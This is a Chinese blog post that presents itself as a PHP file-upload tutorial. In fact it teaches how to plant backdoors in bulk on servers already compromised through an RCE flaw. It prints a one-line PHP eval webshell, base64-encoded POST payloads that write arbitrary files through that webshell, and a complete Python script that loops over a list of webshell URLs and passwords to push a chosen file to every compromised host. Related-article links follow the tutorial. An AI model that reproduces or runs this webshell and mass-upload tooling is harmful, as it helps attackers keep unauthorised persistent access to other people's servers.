PHP实现批量上传单个文件


Posted in PHP onDecember 29, 2015

很多时候当我们通过某个通用型RCE漏洞批量抓取了很多的webshell后,可能想要批量传个后门以备后用。这时,我们不禁会面临一个问题,使用菜刀一个个上传显得太慢,那么如何快速的实现文件的批量上传呢?本文给大家介绍基于php如何实现这类需求。

0×01 原理分析

首先,我们必须了解菜刀是如何通过一句话木马来实现web服务器的文件管理的。

下面是最常见的php一句话木马:

<?php eval($_POST[1]); ?>

当我们将一句话木马上传到web服务器上后,我们就可以直接在菜刀中输入上面的密码(如上例中的1)连接到服务器上来管理文件。

那么,此处的菜刀如何通过简单的一句话就可以实现对服务器的管理和控制呢?通过分析菜刀的原理,我们不难发现菜刀是利用了eval这个函数来执行通过POST方法传过来的命令语句。

因此,如果我们想通过菜刀一句话木马来实现文件上传的话,只需要向远程服务里上包含一句话的url发送一个带文件写入命令的POST请求即可,比如:

POST:

1=@eval($_POST[z0]);&z0=echo $_SERVER['DOCUMENT_ROOT'];

上面代码包含2个部分:

1. 一句话的密码

2. 发送给服务器端的php执行代码

既然知道原理了,我们只需要发送如下的POST请求即可完成利用一句话上传文件的功能:

POST:

1=@eval(base64_decode($_POST[z0]));&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOzsKJGY9JF9QT1NUWyJ6MSJdOwokYz0kX1BPU1RbInoyIl07CiRjPXN0cl9yZXBsYWNlKCJcciIsIiIsJGMpOwokYz1zdHJfcmVwbGFjZSgiXG4iLCIiLCRjKTsKJGJ1Zj0iIjsKZm9yKCRpPTA7JGk8c3RybGVuKCRjKTskaSs9MSkKICAgICRidWYuPXN1YnN0cigkYywkaSwxKTsKZWNobyhAZndyaXRlKGZvcGVuKCRmLCJ3IiksJGJ1ZikpOwplY2hvKCJ8PC0iKTsKZGllKCk7&z1=L3Zhci93d3cvcm9vdC8xLnR4dA==&z2=aGVsbG8gd29ybGQh

仔细分析一下这段POST数据包含以下几个部分:

1. 首先是php一句话的密码1

2. 通过eval方法来执行base64解码后的z0,解码整理后显示如下:

@ini_set("display_errors","0");
@set_time_limit(0);
@set_magic_quotes_runtime(0);
echo("->|");;
$f=base64_decode($_POST["z1"]);
$c=base64_decode($_POST["z2"]);
$c=str_replace("\r","",$c);
$c=str_replace("\n","",$c);
$buf="";
for($i=0;$i<strlen($c);$i+=1)  
  $buf.=substr($c,$i,1);
echo(@fwrite(fopen($f,"w"),$buf));
echo("|<-");
die();

3. 在z0中继续调用base64解码后的z1和z2,解码后如下:

z1=/var/www/root/1.txt
z2=hello world!

至此,我们可以很清楚的发现上面的POST请求的作用实际上是将一个写有hello world!的名为1.txt的文件上传至服务器上/var/www/root/路径下。

0×02 代码实现

基于上面的原理分析,我们可以利用下面的代码基于php一句话来实现文件批量上传:

#!/usr/bin/python 
#coding=utf-8 
import urllib 
import urllib2
import sys
import base64
import re
def post(url, data): 
  req = urllib2.Request(url) 
  data = urllib.urlencode(data)  
  opener = urllib2.build_opener(urllib2.HTTPCookieProcessor()) 
  response = opener.open(req, data) 
  return response.read() 
def get_shell_path(posturl,passwd):
  shell_path = ""
  try:
    data = {}
    data[passwd] = '@eval(base64_decode($_POST[z0]));'
    data['z0']='ZWNobyAkX1NFUlZFUlsnU0NSSVBUX0ZJTEVOQU1FJ107'
    shell_path = post(posturl, data).strip()
  except Exception:
    pass
  return shell_path
def main():
  print '\n+++++++++Batch Uploading Local File (Only for PHP webshell)++++++++++\n'
  shellfile = sys.argv[1] # 存放webshell路径和密码的文件
  localfile = sys.argv[2] # 本地待上传的文件名
  shell_file = open(shellfile,'rb')
  local_content = str(open(localfile,'rb').read())
  for eachline in shell_file:
    posturl = eachline.split(',')[0].strip()
    passwd = eachline.split(',')[1].strip()
    try:
      reg = ".*/([^/]*\.php?)"
      match_shell_name = re.search(reg,eachline)
      if match_shell_name:
        shell_name=match_shell_name.group(1)
        shell_path = get_shell_path(posturl,passwd).strip()
        target_path = shell_path.split(shell_name)[0]+localfile
        target_path_base64 = base64.b64encode(target_path)
        target_file_url = eachline.split(shell_name)[0]+localfile
        data = {}
        data[passwd] = '@eval(base64_decode($_POST[z0]));'
        data['z0']='QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOzsKJGY9YmFzZTY0X2RlY29kZSgkX1BPU1RbInoxIl0pOwokYz1iYXNlNjRfZGVjb2RlKCRfUE9TVFsiejIiXSk7CiRjPXN0cl9yZXBsYWNlKCJcciIsIiIsJGMpOwokYz1zdHJfcmVwbGFjZSgiXG4iLCIiLCRjKTsKJGJ1Zj0iIjsKZm9yKCRpPTA7JGk8c3RybGVuKCRjKTskaSs9MSkKICAgICRidWYuPXN1YnN0cigkYywkaSwxKTsKZWNobyhAZndyaXRlKGZvcGVuKCRmLCJ3IiksJGJ1ZikpOwplY2hvKCJ8PC0iKTsKZGllKCk7'
        data['z1']=target_path_base64
        data['z2']=base64.b64encode(local_content)
        response = post(posturl, data)
        if response:
          print '[+] '+target_file_url+', upload succeed!'
        else:
          print '[-] '+target_file_url+', upload failed!'
      else:
        print '[-] '+posturl+', unsupported webshell!'
    except Exception,e:
      print '[-] '+posturl+', connection failed!'
  shell_file.close()
if __name__ == '__main__': 
  main()

webshell.txt的格式: [一句话webshell文件路径],[webshell连接密码]如下:

http://www.example1.com/1.php, 1

http://www.example2.com/1.php, 1

http://www.example3.com/1.php, 1

保存上面脚本为batch_upload_file.py,执行命令python batch_upload_file.py webshell.txt 1.txt,效果显示如下:

PHP实现批量上传单个文件

以上内容给大家介绍了PHP实现批量上传单个文件的相关知识,希望大家喜欢。

PHP 相关文章推荐
文章推荐系统(三)
Oct 09 PHP
PHP 编写的 25个游戏脚本
May 11 PHP
如何使用php绘制在图片上的正余弦曲线
Jun 08 PHP
php读取csv实现csv文件下载功能
Dec 18 PHP
php数组中包含中文的排序方法
Jun 03 PHP
php面向对象中static静态属性和静态方法的调用
Feb 08 PHP
php实现通用的从数据库表读取数据到数组的函数实例
Mar 21 PHP
简单介绍win7下搭建apache+php+mysql开发环境
Aug 06 PHP
Zend Framework教程之Zend_Controller_Plugin插件用法详解
Mar 07 PHP
PHP文件上传、客户端和服务器端加限制、抓取错误信息、完整步骤解析
Jan 12 PHP
PHP中in_array的隐式转换的解决方法
Mar 06 PHP
PHP使用观察者模式处理异常信息的方法详解
Sep 24 PHP
使用phpstorm和xdebug实现远程调试的方法
Dec 29 #PHP
PHP远程调试之XDEBUG
Dec 29 #PHP
从性能方面考虑PHP下载远程文件的3种方法
Dec 29 #PHP
Yii快速入门经典教程
Dec 28 #PHP
WordPress主题制作之模板文件的引入方法
Dec 28 #PHP
WordPress的主题编写中获取头部模板和底部模板
Dec 28 #PHP
YiiFramework入门知识点总结(图文教程)
Dec 28 #PHP
You might like
PHP在字符串中查找指定字符串并删除的代码
2008/10/02 PHP
php adodb连接mssql解决乱码问题
2009/06/12 PHP
二招解决php乱码问题
2012/03/25 PHP
在项目中寻找代码的坏命名
2012/07/14 PHP
php无限极分类实现方法分析
2019/07/04 PHP
JavaScript使用prototype定义对象类型
2007/02/07 Javascript
关于js new Date() 出现NaN 的分析
2012/10/23 Javascript
JavaScript实现的GBK、UTF8字符串实际长度计算函数
2014/08/27 Javascript
JavaScript用JQuery呼叫Server端方法示例代码
2014/09/03 Javascript
Javascript的闭包详解
2014/12/26 Javascript
jquery实现浮动在网页右下角的彩票开奖公告窗口代码
2015/09/04 Javascript
js实现有过渡渐变效果的图片轮播相册(兼容IE,ff)
2016/01/19 Javascript
浅谈JavaScript 函数参数传递到底是值传递还是引用传递
2016/08/23 Javascript
原生js实现新闻列表展开/收起全文功能
2017/01/20 Javascript
AngularJS学习第二篇 AngularJS依赖注入
2017/02/13 Javascript
JavaScript中的toString()和toLocaleString()方法的区别
2017/02/15 Javascript
如何写好你的JavaScript【推荐】
2017/03/02 Javascript
jQuery获取Table某列的值(推荐)
2017/03/03 Javascript
JS实现小球的弹性碰撞效果
2017/11/11 Javascript
vue form check 表单验证的实现代码
2018/12/09 Javascript
微信小程序开发问题之wx.previewImage
2018/12/25 Javascript
Node 使用express-http-proxy 做api网关的实现
2020/10/15 Javascript
Python获取linux主机ip的简单实现方法
2016/04/18 Python
Python实现针对中文排序的方法
2017/05/09 Python
Python实现定时备份mysql数据库并把备份数据库邮件发送
2018/03/08 Python
python在html中插入简单的代码并加上时间戳的方法
2018/10/16 Python
python实现蒙特卡罗方法教程
2019/01/28 Python
Python中那些 Pythonic的写法详解
2019/07/02 Python
Django中的静态文件管理过程解析
2019/08/01 Python
python实现图书馆抢座(自动预约)功能的示例代码
2020/09/29 Python
国际鲜花速递专家:Floraqueen
2016/11/24 全球购物
UGG美国官网:购买UGG雪地靴、拖鞋和鞋子
2017/12/31 全球购物
美国香薰蜡烛品牌:PADDYWAX
2018/10/06 全球购物
SEPHORA丝芙兰捷克官网:购买香水、化妆品和护肤品
2018/11/26 全球购物
法人委托书范本格式
2014/09/15 职场文书
房屋所有权证明
2014/10/20 职场文书